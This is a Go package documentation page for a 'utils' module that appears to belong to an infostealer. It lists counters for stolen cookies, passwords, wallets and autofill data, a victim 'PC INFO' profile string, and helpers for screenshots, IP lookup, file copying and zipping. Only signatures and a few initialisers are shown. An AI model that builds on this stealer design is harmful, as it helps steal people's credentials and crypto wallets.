utils

package
v0.0.0-...-d3f3ab3 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Aug 20, 2022 License: MIT Imports: 17 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

View Source
var (
	CookieAmount   = 0
	PasswordAmount = 0
	WalletAmount   = 0
	AutofillAmount = 0
)
View Source
var FoundWallets = ""
View Source
var Info = SysInfo{
	Hostname: hostStat.Hostname,
	Platform: hostStat.Platform,
	CPU:      cpuStat[0].ModelName,
	RAM:      vmStat.Total / 1024 / 1024,
	Disk:     diskStat.Total / 1024 / 1024,
}
View Source
var InfoStr = fmt.Sprintf("\n\n\xF0\x9F\x93\x8BPC INFO\xF0\x9F\x93\x8B\nIP: %s\nHostname: %s\nPlatform: %s\nCPU: %s\nRAM: %d\nDisk: %d", GetIP(), Info.Hostname, Info.Platform, Info.CPU, Info.RAM, Info.Disk)

Functions

func AddFiles

func AddFiles(w *zip.Writer, basePath, baseInZip string)

func ContainsString

func ContainsString(slice []os.DirEntry, value string) bool

func CopyFile

func CopyFile(src, dst string) (int64, error)

func CopyFolderFiles

func CopyFolderFiles(src, dst string)

func CopyTxtFiles

func CopyTxtFiles(logFolderPath string)

func CreateStructure

func CreateStructure(logFolderPath string)

func GetIP

func GetIP() string

func GetScreenshot

func GetScreenshot(logFolderPath string)

func MessageBox

func MessageBox(hwnd uintptr, caption, title string, flags uint) int

func MessageBoxPlain

func MessageBoxPlain(title, caption string) int

Types

type SysInfo

type SysInfo struct {
	Hostname string
	Platform string
	CPU      string
	RAM      uint64
	Disk     uint64
}

Directories

Path Synopsis

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL